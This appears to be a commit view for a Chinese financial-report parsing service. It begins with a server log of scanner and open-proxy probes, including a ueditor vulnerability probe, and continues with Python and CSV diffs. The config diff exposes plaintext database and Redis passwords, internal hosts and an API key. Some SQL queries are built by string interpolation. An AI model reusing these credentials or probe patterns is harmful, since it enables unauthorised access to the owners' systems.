WARNING: Invalid HTTP request received.
WARNING: Invalid HTTP request received.
INFO: 223.113.128.164:47694 - "GET / HTTP/1.1" 404 Not Found
WARNING: Invalid HTTP request received.
WARNING: Invalid HTTP request received.
INFO: 70.39.75.167:49148 - "GET / HTTP/1.1" 404 Not Found
INFO: 64.62.156.106:20829 - "GET / HTTP/1.1" 404 Not Found
INFO: 64.62.156.107:28619 - "GET /favicon.ico HTTP/1.1" 404 Not Found
INFO: 64.62.156.107:43499 - "GET http%3A//api.ipify.org/?format=json HTTP/1.1" 404 Not Found
INFO: 64.62.156.97:12331 - "CONNECT www.shadowserver.org%3A443 HTTP/1.1" 404 Not Found
INFO: 52.80.18.29:48530 - "GET / HTTP/1.1" 404 Not Found
INFO: 52.80.18.29:48546 - "GET /favicon.ico HTTP/1.1" 404 Not Found
INFO: 52.80.18.29:48570 - "GET /sitemap.xml HTTP/1.1" 404 Not Found
INFO: 52.80.18.29:48554 - "GET /robots.txt HTTP/1.1" 404 Not Found
WARNING: Invalid HTTP request received.
WARNING: Invalid HTTP request received.
WARNING: Invalid HTTP request received.
WARNING: Invalid HTTP request received.
WARNING: Invalid HTTP request received.
WARNING: Invalid HTTP request received.
WARNING: Invalid HTTP request received.
WARNING: Invalid HTTP request received.
WARNING: Invalid HTTP request received.
INFO: 124.70.57.132:34056 - "HEAD / HTTP/1.1" 404 Not Found
INFO: 124.70.57.132:22282 - "GET / HTTP/1.1" 404 Not Found
WARNING: Invalid HTTP request received.
WARNING: Invalid HTTP request received.
WARNING: Invalid HTTP request received.
INFO: 39.105.169.144:41754 - "GET / HTTP/1.1" 404 Not Found
INFO: 39.105.169.144:43626 - "GET /favicon.ico HTTP/1.1" 404 Not Found
INFO: 185.191.126.248:59862 - "GET / HTTP/1.1" 404 Not Found
INFO: 65.49.20.69:33260 - "GET / HTTP/1.1" 404 Not Found
INFO: 65.49.20.69:48986 - "GET /favicon.ico HTTP/1.1" 404 Not Found
INFO: 65.49.20.69:49002 - "GET http%3A//api.ipify.org/?format=json HTTP/1.1" 404 Not Found
INFO: 65.49.20.69:49010 - "CONNECT www.shadowserver.org%3A443 HTTP/1.1" 404 Not Found
INFO: 13.64.109.8:36270 - "GET / HTTP/1.1" 404 Not Found
WARNING: Invalid HTTP request received.
INFO: 120.46.90.142:45574 - "HEAD / HTTP/1.1" 404 Not Found
INFO: 120.46.90.142:23709 - "GET / HTTP/1.1" 404 Not Found
WARNING: Invalid HTTP request received.
WARNING: Invalid HTTP request received.
INFO: 124.70.25.74:13545 - "HEAD / HTTP/1.1" 404 Not Found
INFO: 124.70.25.74:28683 - "GET / HTTP/1.1" 404 Not Found
INFO: 124.70.25.74:28683 - "GET /favicon.ico HTTP/1.1" 404 Not Found
INFO: 206.168.34.40:35806 - "GET / HTTP/1.1" 404 Not Found
INFO: 206.168.34.40:35818 - "PRI %2A HTTP/2.0" 404 Not Found
WARNING: Invalid HTTP request received.
INFO: 27.115.124.101:46757 - "GET / HTTP/1.1" 404 Not Found
INFO: 27.115.124.101:46757 - "GET / HTTP/1.1" 404 Not Found
WARNING: Invalid HTTP request received.
WARNING: Invalid HTTP request received.
INFO: 185.226.197.63:57255 - "GET / HTTP/1.1" 404 Not Found
INFO: 185.226.197.63:34425 - "GET /console HTTP/1.1" 404 Not Found
INFO: 185.226.197.64:37409 - "GET /showLogin.cc HTTP/1.1" 404 Not Found
INFO: 87.236.176.94:57835 - "GET / HTTP/1.1" 404 Not Found
INFO: 18.144.4.34:39516 - "GET / HTTP/1.1" 404 Not Found
INFO: 185.216.140.186:33568 - "GET http%3A//pingjs.qq.com/ping.js HTTP/1.1" 404 Not Found
INFO: 106.75.188.200:37598 - "POST /token HTTP/1.1" 404 Not Found
INFO: 157.245.69.67:34548 - "GET /aaa9 HTTP/1.1" 404 Not Found
INFO: 157.245.69.67:34552 - "GET /aab8 HTTP/1.1" 404 Not Found
INFO: 157.245.69.67:42104 - "GET / HTTP/1.1" 404 Not Found
WARNING: Invalid HTTP request received.
INFO: 89.248.172.41:56854 - "HEAD /playlist.m3u HTTP/1.1" 404 Not Found
INFO: 65.49.20.66:13626 - "GET / HTTP/1.1" 404 Not Found
INFO: 65.49.20.66:15908 - "GET /favicon.ico HTTP/1.1" 404 Not Found
INFO: 65.49.20.66:15922 - "GET http%3A//api.ipify.org/?format=json HTTP/1.1" 404 Not Found
INFO: 65.49.20.66:15926 - "CONNECT www.shadowserver.org%3A443 HTTP/1.1" 404 Not Found
INFO: 103.203.58.4:41010 - "GET / HTTP/1.1" 404 Not Found
INFO: 80.82.77.139:49396 - "GET / HTTP/1.1" 404 Not Found
INFO: 80.82.77.139:50230 - "GET /favicon.ico HTTP/1.1" 404 Not Found
INFO: 185.191.126.248:40242 - "GET / HTTP/1.1" 404 Not Found
INFO: 70.39.75.159:34126 - "GET / HTTP/1.1" 404 Not Found
INFO: 185.191.126.248:59652 - "GET / HTTP/1.1" 404 Not Found
WARNING: Invalid HTTP request received.
WARNING: Invalid HTTP request received.
INFO: 206.168.34.220:36530 - "GET / HTTP/1.1" 404 Not Found
INFO: 206.168.34.220:36552 - "PRI %2A HTTP/2.0" 404 Not Found
WARNING: Invalid HTTP request received.
WARNING: Invalid HTTP request received.
INFO: 1.94.195.230:25149 - "HEAD / HTTP/1.1" 404 Not Found
INFO: 1.94.195.230:35249 - "GET / HTTP/1.1" 404 Not Found
WARNING: Invalid HTTP request received.
INFO: 34.140.231.8:38328 - "GET / HTTP/1.1" 404 Not Found
WARNING: Invalid HTTP request received.
WARNING: Invalid HTTP request received.
INFO: 143.244.133.204:60510 - "GET / HTTP/1.1" 404 Not Found
WARNING: Invalid HTTP request received.
INFO: 36.111.151.242:59402 - "GET / HTTP/1.1" 404 Not Found
INFO: 36.111.151.242:58560 - "GET /favicon.ico HTTP/1.1" 404 Not Found
INFO: 36.111.151.242:58564 - "GET /robots.txt HTTP/1.1" 404 Not Found
INFO: 36.111.151.242:58578 - "GET /sitemap.xml HTTP/1.1" 404 Not Found
INFO: 124.70.90.23:39065 - "GET / HTTP/1.1" 404 Not Found
WARNING: Invalid HTTP request received.
INFO: 64.62.156.111:30617 - "GET / HTTP/1.1" 404 Not Found
INFO: 64.62.156.111:35591 - "GET /favicon.ico HTTP/1.1" 404 Not Found
INFO: 64.62.156.118:17357 - "GET http%3A//api.ipify.org/?format=json HTTP/1.1" 404 Not Found
INFO: 64.62.156.113:56373 - "CONNECT www.shadowserver.org%3A443 HTTP/1.1" 404 Not Found
WARNING: Invalid HTTP request received.
WARNING: Invalid HTTP request received.
INFO: 123.160.223.74:33085 - "GET / HTTP/1.1" 404 Not Found
INFO: 167.71.11.105:49012 - "GET / HTTP/1.1" 404 Not Found
INFO: 185.191.126.248:36288 - "GET / HTTP/1.1" 404 Not Found
WARNING: Invalid HTTP request received.
INFO: 167.94.138.163:46744 - "GET / HTTP/1.1" 404 Not Found
INFO: 167.94.138.163:46748 - "PRI %2A HTTP/2.0" 404 Not Found
WARNING: Invalid HTTP request received.
INFO: 18.199.93.83:51354 - "GET /ueditor/net/controller.ashx?action=catchimage&encode=utf-8 HTTP/1.1" 404 Not Found
WARNING: Invalid HTTP request received.
INFO: 172.169.6.55:42302 - "GET / HTTP/1.1" 404 Not Found
INFO: 184.105.139.69:28842 - "GET / HTTP/1.1" 404 Not Found
INFO: 184.105.139.69:37052 - "GET /favicon.ico HTTP/1.1" 404 Not Found
INFO: 184.105.139.69:37082 - "GET http%3A//api.ipify.org/?format=json HTTP/1.1" 404 Not Found
INFO: 184.105.139.69:9770 - "CONNECT www.shadowserver.org%3A443 HTTP/1.1" 404 Not Found
INFO: 208.87.243.131:57870 - "GET http%3A//azenv.net/ HTTP/1.1" 404 Not Found
WARNING: Invalid HTTP request received.
INFO: 124.70.63.89:62210 - "HEAD / HTTP/1.1" 404 Not Found
INFO: 124.70.63.89:13433 - "GET / HTTP/1.1" 404 Not Found
WARNING: Invalid HTTP request received.
INFO: 87.236.176.32:54413 - "GET / HTTP/1.1" 404 Not Found
WARNING: Invalid HTTP request received.
INFO: 64.62.197.172:16101 - "GET / HTTP/1.1" 404 Not Found
INFO: 64.62.197.176:47069 - "GET /favicon.ico HTTP/1.1" 404 Not Found
INFO: 64.62.197.170:61969 - "GET http%3A//api.ipify.org/?format=json HTTP/1.1" 404 Not Found
INFO: 64.62.197.167:61305 - "CONNECT www.shadowserver.org%3A443 HTTP/1.1" 404 Not Found
INFO: 170.64.134.89:39188 - "GET /aaa9 HTTP/1.1" 404 Not Found
INFO: 170.64.134.89:39204 - "GET /aab8 HTTP/1.1" 404 Not Found
INFO: 170.64.134.89:39206 - "GET / HTTP/1.1" 404 Not Found
WARNING: Invalid HTTP request received.
WARNING: Invalid HTTP request received.
INFO: 154.212.141.171:53736 - "GET / HTTP/1.1" 404 Not Found
WARNING: Invalid HTTP request received.
INFO: 118.26.39.17:57178 - "GET / HTTP/1.1" 404 Not Found
INFO: 118.26.39.17:57214 - "GET /favicon.ico HTTP/1.1" 404 Not Found
INFO: 167.94.138.175:45612 - "GET / HTTP/1.1" 404 Not Found
INFO: 167.94.138.175:45628 - "PRI %2A HTTP/2.0" 404 Not Found
WARNING: Invalid HTTP request received.
INFO: 178.32.170.30:38143 - "GET / HTTP/1.1" 404 Not Found
WARNING: Invalid HTTP request received.
WARNING: Invalid HTTP request received.
WARNING: Invalid HTTP request received.
WARNING: Invalid HTTP request received.
INFO: 45.83.65.202:56736 - "GET / HTTP/1.1" 404 Not Found
INFO: 45.83.66.235:14182 - "GET /favicon.ico HTTP/1.1" 404 Not Found

View File

@ -54,7 +54,7 @@ def run_job():
response = requests.get(config.NOTIFY_ADDR, params={'fileId': file_id,'status': 5})
applog.info(f'通知pdf开始解析url:{file_id}:{response.url}')
applog.info(f'通知pdf开始解析状态:{file_id}:{response.text}')
parsed_content, catalog_content = parse_docx(file_path) # catalog_content 目录需要写入数据库
parsed_content, catalog_content = parse_docx(file_path)
json_parsed_content = json.loads(parsed_content)
json_catalog_content = json.loads(catalog_content)

View File

@ -5,12 +5,13 @@ MYSQL_HOST = '10.127.2.207'
MYSQL_PORT = 3306
MYSQL_USER = 'financial_prod'
MYSQL_PASSWORD = 'mmTFncqmDal5HLRGY0BV'
MYSQL_DB = 'financial_report_prod'
NOTIFY_ADDR = 'http://10.127.2.202:8100/api/tenant/report/notify'
MYSQL_DB = 'financial_report_test'
NOTIFY_ADDR = 'http://10.127.2.206:8101/api/tenant/report/notify'
FILE_PATH = '/root/pdf_parser/word/'
REDIS_HOST = '10.127.2.209'
REDIS_HOST = '10.127.2.206'
REDIS_PORT = 6379
REDIS_PASSWORD = 'dMrt4kmwiW6LDJXy'
REDIS_PASSWORD = 'Xgf_redis'
PORT = 8001
MEASURE_COUNT = 8
@ -19,5 +20,9 @@ MYSQL_HOST_APP = '10.127.2.207'
MYSQL_PORT_APP = 3306
MYSQL_USER_APP = 'financial_prod'
MYSQL_PASSWORD_APP = 'mmTFncqmDal5HLRGY0BV'
MYSQL_DB_APP = 'financial_report_prod'
MYSQL_DB_APP = 'financial_report_test'
api_key = 'sk-f8413fcfa63a40e49dbb8ac1d0239f6d'

View File

@ -154,9 +154,9 @@ if __name__ == "__main__":
)
cursor = conn.cursor()
measure_config_to_db(conn,cursor)
# measure_config_to_db(conn,cursor)
# insert_measure_vector(conn,cursor)
insert_measure_vector(conn,cursor)
# cursor.close()
# conn.close()

View File

@ -366,9 +366,9 @@ def insert_table_from_vector_mul_process(parent_table_pages,file_id,file_name,re
if str(report_type) == "2":
parent_table_pages = []
table_index_array = []
measure_index_array = []
applog.info(f'黑名单的值是{parent_table_pages}{table_index_array}以及新增的{measure_index_array}')
applog.info(f"black_array:{black_array}")
@ -958,22 +958,14 @@ def batch_insert_page_text(table_info, conn, cursor, table_name):
page_num = int(table_info['page_num'])
text_lines = table_info['text']
# 1. 检查表是否为空
check_if_empty_query = f"SELECT COUNT(*) FROM {table_name} where file_id = {file_id} and page_num = {page_num}"
cursor.execute(check_if_empty_query)
is_table_empty = cursor.fetchone()[0] == 0
insert_query = f'''
INSERT INTO {table_name}
(file_id, page_num, text)
VALUES (%s, %s, %s)
'''
data_to_insert = [(file_id, page_num, text_lines) ]
cursor.executemany(insert_query, data_to_insert)
if is_table_empty:
# 表为空,直接插入数据
insert_query = f'''
INSERT INTO {table_name}
(file_id, page_num, text)
VALUES (%s, %s, %s)
'''
data_to_insert = [(file_id, page_num, text_lines) ]
cursor.executemany(insert_query, data_to_insert)
else:
pass
conn.commit()
def file_type_check(file_id):
conn = mysql.connector.connect(

View File

@ -1,294 +0,0 @@
import pandas as pd
import mysql.connector
import utils
#from config import MYSQL_HOST, MYSQL_USER, MYSQL_PASSWORD, MYSQL_DB
import re
import redis
def process_excel_and_db(input_excel_path1, input_excel_path2, output_file_path):
# 读取第一个 Excel 文件
df = pd.read_excel(input_excel_path1, sheet_name='Sheet2', header=0)#对应ttt表
# 将 DataFrame 转换为字典列表
data_list = df.to_dict(orient='records')
# 连接到 MySQL 数据库
conn = mysql.connector.connect(
host=MYSQL_HOST,
user=MYSQL_USER,
password=MYSQL_PASSWORD,
database=MYSQL_DB
)
cursor = conn.cursor()
# 插入数据到 measure_create_config 表
insert_query = '''
INSERT INTO measure_create_config
(config_id, meta_measure, same_mean_measure, measure_period, change_type, black_list)
VALUES (%s, %s, %s, %s, %s, %s)
'''
for data in data_list:
show_measure = str(data['指标'])
same_mean_measure = str(data['同义表述'])
period_measure = str(data['周期'])
change_measure = str(data['变动'])
black_list = str(data['黑名单词'])
config_id = utils.get_md5(show_measure)
insert_query_data = (config_id, show_measure, same_mean_measure, period_measure, change_measure, black_list)
cursor.execute(insert_query, insert_query_data)
conn.commit()
# 读取第二个 Excel 文件
df_period = pd.read_excel(input_excel_path2, sheet_name='Sheet2', header=0)#对应周期表
# 将 DataFrame 转换为字典列表
period_list = df_period.to_dict(orient='records')
# 插入数据到 measure_create_period 表
period_insert_query = '''
INSERT INTO measure_create_period
(period_name, same_mean_period)
VALUES (%s, %s)
'''
for data in period_list:
period_name = str(data['标准表述'])
same_mean_period = str(data['同义表述'])
insert_query_data = (period_name, same_mean_period)
cursor.execute(period_insert_query, insert_query_data)
conn.commit()
# 查询数据库
data_query = '''
SELECT * FROM measure_create_config WHERE delete_status = 0
'''
period_query = '''
SELECT * FROM measure_create_period
'''
cursor.execute(data_query)
data_list = cursor.fetchall()
cursor.execute(period_query)
period_list = cursor.fetchall()
# 输出到文件
with open(output_file_path, 'w', encoding='utf-8') as file:
for data in data_list:
config_id = data[0]
show_measure = data[1]
same_mean_measure = data[2]
period_measure = data[3]
change_measure = data[4]
same_mean_measure_arr = []
period_measure_arr = []
change_measure_arr = []
if same_mean_measure != 'nan':
same_mean_measure_arr = same_mean_measure.split(',')
same_mean_measure_arr.append(show_measure)
if period_measure != 'nan':
period_measure_arr = period_measure.split(',')
if change_measure != 'nan':
change_measure_arr = change_measure.split(',')
for c in change_measure_arr:
period_measure_arr.append(c)
for x in period_measure_arr:
if x in change_measure_arr:
show_name = show_measure + x
else:
show_name = x + show_measure
for y in same_mean_measure_arr:
if x in change_measure:
parser_name = y + x
else:
parser_name = x + y
file.write(f'{show_name},{parser_name}\n')
for p in period_list:
period_exra_name = p[0]
period_exra_value = p[1]
if period_exra_name in x:
for v in period_exra_value.split(','):
if x in change_measure:
parser_name = y + x.replace(period_exra_name, v)
else:
parser_name = x.replace(period_exra_name, v) + y
file.write(f'{show_name},{parser_name}\n')
cursor.close()
conn.close()
# 根据老指标配置表生成新指标配置表
def create_new_config(conn, cursor, table_name,old_year,new_year):
select_query = f'''
SELECT measure_id, measure_name,ori_measure_id,ori_measure_name,delete_status,measure_vector,distance,year
FROM {table_name}
WHERE year = '{old_year}'
'''
cursor.execute(select_query)
data_list = cursor.fetchall()
insert_query = f'''
INSERT INTO measure_config
(measure_id, measure_name,ori_measure_id,ori_measure_name,delete_status,measure_vector,distance, year)
VALUES (%s, %s, %s, %s, %s, %s, %s, %s)
'''
for data in data_list:
ori_measure_name = data[3]
if re.match(r'^\d{4}',ori_measure_name):
year = int(re.match(r'^\d{4}',ori_measure_name).group(0))
year += 1
ori_measure_name = str(year) + ori_measure_name[4:]
insert_data = (data[0],data[1],data[2],ori_measure_name,data[4],data[5],data[6],new_year)
cursor.execute(insert_query, insert_data)
conn.commit()
cursor.close()
conn.close()
def measure_config_to_db(conn, cursor, table_name):
year_list = ["2021","2022","2023","2024","2025"]
for year in year_list:
insert_query = f'''
INSERT INTO {table_name}
(measure_id, measure_name, ori_measure_id, ori_measure_name,delete_status,distance,year)
VALUES (%s, %s, %s, %s,%s,%s,%s)
'''
check_query = f'''
SELECT ori_measure_id FROM {table_name}
WHERE year = '{year}'
'''
# 新增指标
lines = [
f"归母净利润同比变动,本报告期比上年同期增减归属于上市公司股东的净利润",
f"扣非净利润同比变动,本报告期比上年同期增减归属于上市公司股东的扣除非经常性损益的净利润",
# f"当期营业成本,本期发生额营业成本",
# f"当期销售费用,本期发生额销售费用",
# f"当期管理费用,本期发生额管理费用",
# f"当期财务费用,本期发生额财务费用",
# f"当期研发费用,本期发生额研发费用",
# f"报告期末应收账款,本期发生额应收账款",
# f"当期营业收入,本期发生额营业收入",
# f"当期营业成本,{year}年第一季度营业成本",
# f"当期销售费用,{year}年第一季度销售费用",
# f"当期管理费用,{year}年第一季度管理费用",
# f"当期财务费用,{year}年第一季度财务费用",
# f"当期研发费用,{year}年第一季度研发费用",
# f"报告期末应收账款,{year}年3月31日应收账款",
# f"当期营业收入,{year}年第一季度营业收入",
# f"报告期末总资产,{year}年3月31日资产",
# f"报告期末总资产,{year}年3月31日资产总计",
# f"报告期末货币资金,{year}年3月31日货币资金",
# f"报告期末货币资金,{year}年3月31日货币资金合计",
# f"报告期末存货,{year}年3月31日存货",
# f"报告期末存货,{year}年3月31日存货合计",
# f"报告期末固定资产,{year}年3月31日固定资产",
# f"报告期末固定资产,{year}年3月31日固定资产合计",
# f"报告期末在建工程,{year}年3月31日在建工程",
# f"报告期末在建工程,{year}年3月31日在建工程合计",
# f"报告期末商誉,{year}年3月31日商誉",
# f"报告期末商誉,{year}年3月31日商誉合计",
# f"报告期末短期借款,{year}年3月31日短期借款",
# f"报告期末短期借款,{year}年3月31日短期借款合计",
# f"报告期末应付账款,{year}年3月31日应付账款",
# f"报告期末应付账款,{year}年3月31日应付账款合计",
# f"报告期末合同负债,{year}年3月31日合同负债",
# f"报告期末合同负债,{year}年3月31日合同负债合计",
# f"报告期末长期借款,{year}年3月31日长期借款",
# f"报告期末长期借款,{year}年3月31日长期借款合计",
# f"上年年末总资产,{int(year)-1}年12月31日资产",
# f"上年年末总资产,{int(year)-1}年12月31日资产总计",
# f"上年年末货币资金,{int(year)-1}年12月31日货币资金",
# f"上年年末货币资金,{int(year)-1}年12月31日货币资金合计",
# f"上年年末存货,{int(year)-1}年12月31日存货",
# f"上年年末存货,{int(year)-1}年12月31日存货合计",
# f"上年年末固定资产,{int(year)-1}年12月31日固定资产",
# f"上年年末固定资产,{int(year)-1}年12月31日固定资产合计",
# f"上年年末在建工程,{int(year)-1}年12月31日在建工程",
# f"上年年末在建工程,{int(year)-1}年12月31日在建工程合计",
# f"上年年末商誉,{int(year)-1}年12月31日商誉",
# f"上年年末商誉,{int(year)-1}年12月31日商誉合计",
# f"上年年末短期借款,{int(year)-1}年12月31日短期借款",
# f"上年年末短期借款,{int(year)-1}年12月31日短期借款合计",
# f"上年年末合同负债,{int(year)-1}年12月31日合同负债",
# f"上年年末合同负债,{int(year)-1}年12月31日合同负债合计",
# f"上年年末长期借款,{int(year)-1}年12月31日长期借款",
# f"上年年末长期借款,{int(year)-1}年12月31日长期借款合计",
]
# 打印每一行
for line in lines:
config_list = line.strip().split(',')
measure = config_list[0]
ori_measure = config_list[1]
ori_measure_id = utils.get_md5(ori_measure)
# 判断数据库中是否有数据
cursor.execute(check_query)
check_records = cursor.fetchall()
if any(record[0] == ori_measure_id for record in check_records):
continue
data_to_insert = (utils.get_md5(measure), measure, ori_measure_id, ori_measure,0,0.94,year)
cursor.execute(insert_query, data_to_insert)
conn.commit()
def insert_measure_vector(conn,cursor,table_name):
from config import REDIS_HOST,REDIS_PASSWORD,REDIS_PORT
redis_client = redis.Redis(host=REDIS_HOST, port=REDIS_PORT, password=REDIS_PASSWORD, db=6)# 192.168.0.172 #测试123.60.153.169
# 执行SQL语句更新数据
select_query = f'''
SELECT ori_measure_id,ori_measure_name FROM {table_name}
'''
cursor.execute(select_query)
records = cursor.fetchall()
print(f"总计{len(records)}条数据")
for record in records:
if redis_client.hexists('measure_config', record[0]):
measure_vector = redis_client.hget('measure_config', record[0])
else:
print('新增指标',record[1])
vector_obj = utils.embed_with_str(record[1])
measure_vector = str(vector_obj.output["embeddings"][0]["embedding"])
redis_client.hset('measure_config', record[0], measure_vector)
redis_client.close()
conn.close()
#from config import MYSQL_HOST, MYSQL_USER, MYSQL_PASSWORD, MYSQL_DB
if __name__ == "__main__":
#需要先清空本地数据库的 measure_create_config 和 measure_create_period 表
# process_excel_and_db(
# 'F:\\11_pdf\\ttt_1.xlsx',#ttt文件
# 'F:\\11_pdf\\period_1.xlsx',#period文件
# 'F:\\11_pdf\\out_2022_new_year.txt'#输出文件
# )
from config import MYSQL_HOST_APP, MYSQL_USER_APP, MYSQL_PASSWORD_APP, MYSQL_DB_APP
conn = mysql.connector.connect(
host=MYSQL_HOST_APP,
user=MYSQL_USER_APP,
password=MYSQL_PASSWORD_APP,
database=MYSQL_DB_APP
)
cursor = conn.cursor()
#file_path = r'F:\\11_pdf\\out_2022_new_year.txt'
# 更新第一季度的measure_vector
table_name = 'measure_config_first_quarter'
# 写入mysql
# measure_config_to_db(conn, cursor, table_name)
create_new_config(conn, cursor, table_name,'2024','2025')
# 插入redies
insert_measure_vector(conn,cursor,table_name)

View File

@ -449,6 +449,22 @@ def process_text_content(file_id,texts,tables,full_texts,type =0):
'page_num' : t["index"],
'text' : line_text
},conn,cursor, table_name)
for t in tables:
page_num = t["index"]
for lines in t["data"]:
lines = list(set(lines))
for line in lines:
if len(line) == 0:
continue
db_service_word.batch_insert_page_text({
'file_id': file_id,
'page_num' : page_num,
'text' : line
},conn,cursor,"word_text_info")
except Exception as e:
applog.error(f'文本处理异常{e}')

View File

@ -1,22 +0,0 @@
"","","适用(如)","",""
"非流动性资产处置损益,包括已计提资产减值准备的冲销部分","-236316.65","","232448.97","-46760.24"
"计入当期损益的政府补助,但与公司正常经营业务密切相关、符合国家政策规定、按照确定的标准享有、对公司损益产生持续影响的政府补助除外","4471155.00","","9188174.79","13052067.83"
"除同公司正常经营业务相关的有效套期保值业务外,非金融企业持有金融资产和金融负债产生的公允价值变动损益以及处置金融资产和金融负债产生的损益","13099776.76","","14132376.82","7256455.55"
"计入当期损益的对非金融企业收取的资金占用费","","","",""
"委托他人投资或管理资产的损益","","","",""
"对外委托贷款取得的损益","","","",""
"因不可抗力因素,如遭受自然灾害而产生的各项资产损失","-3826330.90","","",""
"单独进行减值测试的应收款项减值准备转回","","","",""
"企业取得子公司、联营企业及合营企业的投资成本小于取得投资时应享有被投资单位可辨认净资产公允价值产生的收益","","","",""
"同一控制下企业合并产生的子公司期初至合并日的当期净损益","","","",""
"非货币性资产交换损益","","","",""
"债务重组损益","","","",""
"企业因相关经营活动不再持续而发生的一次性费用,如安置职工的支出等","","","",""
"因税收、会计等法律、法规的调整对当期损益产生的一次性影响","","","",""
"因取消、修改股权激励计划一次性确认的股份支付费用","","","",""
"对于现金结算的股份支付,在可行权日之后,应付职工薪酬的公允价值变动产生的损益","","","",""
"采用公允价值模式进行后续计量的投资性房地产公允价值变动产生的损益","","","",""
"交易价格显失公允的交易产生的收益","","","",""
"与公司正常经营业务无关的或有事项产生的损益","","","",""
"受托经营取得的托管费收入","","","",""
"除上述各项之外的其他营业外收","-11648682.96","","-529596.32","34351.19"
1 适用(如)
2 非流动性资产处置损益,包括已计提资产减值准备的冲销部分 -236316.65 232448.97 -46760.24
3 计入当期损益的政府补助,但与公司正常经营业务密切相关、符合国家政策规定、按照确定的标准享有、对公司损益产生持续影响的政府补助除外 4471155.00 9188174.79 13052067.83
4 除同公司正常经营业务相关的有效套期保值业务外,非金融企业持有金融资产和金融负债产生的公允价值变动损益以及处置金融资产和金融负债产生的损益 13099776.76 14132376.82 7256455.55
5 计入当期损益的对非金融企业收取的资金占用费
6 委托他人投资或管理资产的损益
7 对外委托贷款取得的损益
8 因不可抗力因素,如遭受自然灾害而产生的各项资产损失 -3826330.90
9 单独进行减值测试的应收款项减值准备转回
10 企业取得子公司、联营企业及合营企业的投资成本小于取得投资时应享有被投资单位可辨认净资产公允价值产生的收益
11 同一控制下企业合并产生的子公司期初至合并日的当期净损益
12 非货币性资产交换损益
13 债务重组损益
14 企业因相关经营活动不再持续而发生的一次性费用,如安置职工的支出等
15 因税收、会计等法律、法规的调整对当期损益产生的一次性影响
16 因取消、修改股权激励计划一次性确认的股份支付费用
17 对于现金结算的股份支付,在可行权日之后,应付职工薪酬的公允价值变动产生的损益
18 采用公允价值模式进行后续计量的投资性房地产公允价值变动产生的损益
19 交易价格显失公允的交易产生的收益
20 与公司正常经营业务无关的或有事项产生的损益
21 受托经营取得的托管费收入
22 除上述各项之外的其他营业外收 -11648682.96 -529596.32 34351.19

View File

@ -1,5 +0,0 @@
"入和支出","","","",""
"其他符合非经常性损益定义的损益项目","","","-757389.60","-729432.00"
"减:所得税影响额","278940.19","","3339902.20","2935002.34"
"少数股东权益影响额(税后)","","","",""
"合计","1580661.06","","18926112.46","16631679.99"
1 入和支出
2 其他符合非经常性损益定义的损益项目 -757389.60 -729432.00
3 减:所得税影响额 278940.19 3339902.20 2935002.34
4 少数股东权益影响额(税后)
5 合计 1580661.06 18926112.46 16631679.99

View File

@ -1,3 +0,0 @@
"项目名称","期初余额","期末余额","当期变动","对当期利润的影响金额"
"交易性金融资产","390568609.77","175421746.58","-215146863.19","-146863.19"
"合计","390568609.77","175421746.58","-215146863.19","-146863.19"
1 项目名称 期初余额 期末余额 当期变动 对当期利润的影响金额
2 交易性金融资产 390568609.77 175421746.58 -215146863.19 -146863.19
3 合计 390568609.77 175421746.58 -215146863.19 -146863.19

View File

@ -1 +0,0 @@
"","","","","","","","","","",""
1

View File

@ -1,5 +0,0 @@
"序号","评价维度","指标","公司产品注册标准","2020版中国药典标准","欧洲药典9.0版标准"
"123","杂质含量","卵清蛋白含量","≤60ng/mL","≤200ng/mL","≤500ng/mL"
"","","蛋白质含量","≤360μg/mL","≤400μg/mL","≤600μg/mL"
"","","游离甲醛含量","≤25μg/mL","≤50μg/mL","≤200μg/mL"
"4","有效成分纯度","蛋白质含量/血凝素含量","≤3.0","≤4.5","≤6.0"
1 序号 评价维度 指标 公司产品注册标准 2020版中国药典标准 欧洲药典9.0版标准
2 123 杂质含量 卵清蛋白含量 ≤60ng/mL ≤200ng/mL ≤500ng/mL
3 蛋白质含量 ≤360μg/mL ≤400μg/mL ≤600μg/mL
4 游离甲醛含量 ≤25μg/mL ≤50μg/mL ≤200μg/mL
5 4 有效成分纯度 蛋白质含量/血凝素含量 ≤3.0 ≤4.5 ≤6.0

View File

@ -1,8 +0,0 @@
"","本年新增","本年新增","累计数量","累计数量"
"","申请数(个)","获得数(个)","申请数(个)","获得数(个)"
"发明专利","6","3","16","6"
"实用新型专利","2","","12","10"
"外观设计专利","","","",""
"软件著作权","","","",""
"其他","","","",""
"合计","8","3","28","16"
1 本年新增 本年新增 累计数量 累计数量
2 申请数(个) 获得数(个) 申请数(个) 获得数(个)
3 发明专利 6 3 16 6
4 实用新型专利 2 12 10
5 外观设计专利
6 软件著作权
7 其他
8 合计 8 3 28 16

View File

@ -1,6 +0,0 @@
"","本年度","上年度","变化幅度(%"
"费用化研发投入","15471820.82","32409476.90","-52.26"
"资本化研发投入","15990870.05","13732758.96","16.44"
"研发投入合计","31462690.87","46142235.86","-31.81"
"研发投入总额占营业收入比例(%","23.38","14.49","增加8.89个百分点"
"研发投入资本化的比重(%","50.82","29.76","增加21.06个百分点"
1 本年度 上年度 变化幅度(%)
2 费用化研发投入 15471820.82 32409476.90 -52.26
3 资本化研发投入 15990870.05 13732758.96 16.44
4 研发投入合计 31462690.87 46142235.86 -31.81
5 研发投入总额占营业收入比例(%) 23.38 14.49 增加8.89个百分点
6 研发投入资本化的比重(%) 50.82 29.76 增加21.06个百分点

View File

@ -1,12 +0,0 @@
"","","资规模","金额","金额","阶段性成果","到目标","水平","应用前景"
"1","冻干人用狂犬病疫苗Vero细胞","10000.00","1599.09","11578.76","注册申请中","获得生产批件","国内领先","用于预防狂犬病"
"2","四价流感病毒裂解疫苗(儿童)","33000.00","410.69","1481.50","III期临床试验前期准备中","获得生产批件","国内领先","用于预防流行性感冒"
"3","23价肺炎球菌多糖疫苗/13价肺炎球菌多糖结合疫苗","22980.00","123.49","631.25","临床前研究","获得生产批件","国内领先","用于预防肺炎"
"4","冻干水痘减毒活疫苗","31975.00","225.03","946.69","临床前研究","获得生产批件","国内领先","用于预防水痘"
"5","四价流感病毒裂解疫苗(高剂量)","11745.00","110.64","1961.90","临床前研究","获得生产批件","国内领先","用于预防流行性感冒"
"6","重组带状疱疹疫苗","31975.00","168.99","429.68","临床前研究","获得生产批件","国内领先","用于预防带状疱疹"
"7","冻干人用狂犬病疫苗MRC-5细胞","27915.00","33.77","200.46","临床前研究","获得生产批件","国内领先","用于预防狂犬病"
"8","多价手足口病疫苗","29910.00","33.77","199.29","临床前研究","获得生产批件","国内领先","用于预防手足口病"
